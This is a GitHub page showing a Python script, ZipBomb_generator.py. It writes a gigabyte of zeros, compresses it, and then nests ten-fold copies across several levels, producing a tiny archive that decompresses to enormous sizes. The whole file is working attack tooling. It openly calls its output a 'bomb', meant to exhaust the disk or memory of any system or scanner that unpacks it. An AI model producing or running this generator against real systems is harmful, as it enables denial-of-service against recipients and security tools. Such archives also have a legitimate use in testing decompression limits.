-
Notifications
You must be signed in to change notification settings - Fork 7
/
ZipBomb_generator.py
97 lines (71 loc) · 2.57 KB
/
ZipBomb_generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
"""
Copyright (c) 2020-2021 Vladimir Rogozin ([email protected])
Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt
or copy at http://opensource.org/licenses/MIT)
"""
#
# Import.
#
import os
import sys
import time
import zlib
import zipfile
import shutil
#
# Funcs.
#
def get_file_size(filename):
stat = os.stat(filename)
return stat.st_size
def generate_txt_block(filename, size):
with open(filename, 'w') as file_raw:
for i in range(1024):
file_raw.write((size * 1024 * 1024) * '0')
def get_filename_without_extension(name):
return name[:name.rfind('.')]
def get_extension(name):
return name[name.rfind('.')+1:]
def compress_file(infile, outfile):
zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
zf.write(infile, compress_type=zipfile.ZIP_DEFLATED)
zf.close()
def make_copies_and_compress(infile, outfile, num_of_copies):
zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
for i in range(num_of_copies):
f_name = '%s-%d.%s' % (get_filename_without_extension(infile), i, get_extension(infile))
shutil.copy(infile, f_name)
zf.write(f_name, compress_type=zipfile.ZIP_DEFLATED)
os.remove(f_name)
zf.close()
#
# Main.
#
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage:\n')
print(' ZipBomb_generator.py num_of_levels out_zip_file')
exit()
num_of_levels = int(sys.argv[1]) # '1' = 1.000.000 GB.
out_zip_file = sys.argv[2] # Name of the bomb(with '.zip'), ex: bomb.zip.
txt_block = 'txt_block.txt'
start_time = time.time() # Starts calculating building time.
generate_txt_block(txt_block, 1) # Generating a txt block.
level_1_zip = '1.zip' # --------------------\/
compress_file(txt_block, level_1_zip) # Getting compressed block.
os.remove(txt_block) # ---------------------/\
# Making copies.
decompressed_size = 1
for i in range(1, num_of_levels + 1):
make_copies_and_compress('%d.zip' % i, '%d.zip' % (i + 1), 10)
decompressed_size *= 10
os.remove('%d.zip' % i)
# Removing old file if it's necessary.
if os.path.isfile(out_zip_file):
os.remove(out_zip_file)
os.rename('%d.zip' % (num_of_levels + 1), out_zip_file) # Renaming the bomb.
end_time = time.time() # Finishing calculating building time.
# Finishing.
print('Compressed File Size: %.2f KB' % (get_file_size(out_zip_file) / 1024.0))
print('Size After Decompression: %d GB' % decompressed_size)
print('Generation Time: %.2fs' % (end_time - start_time))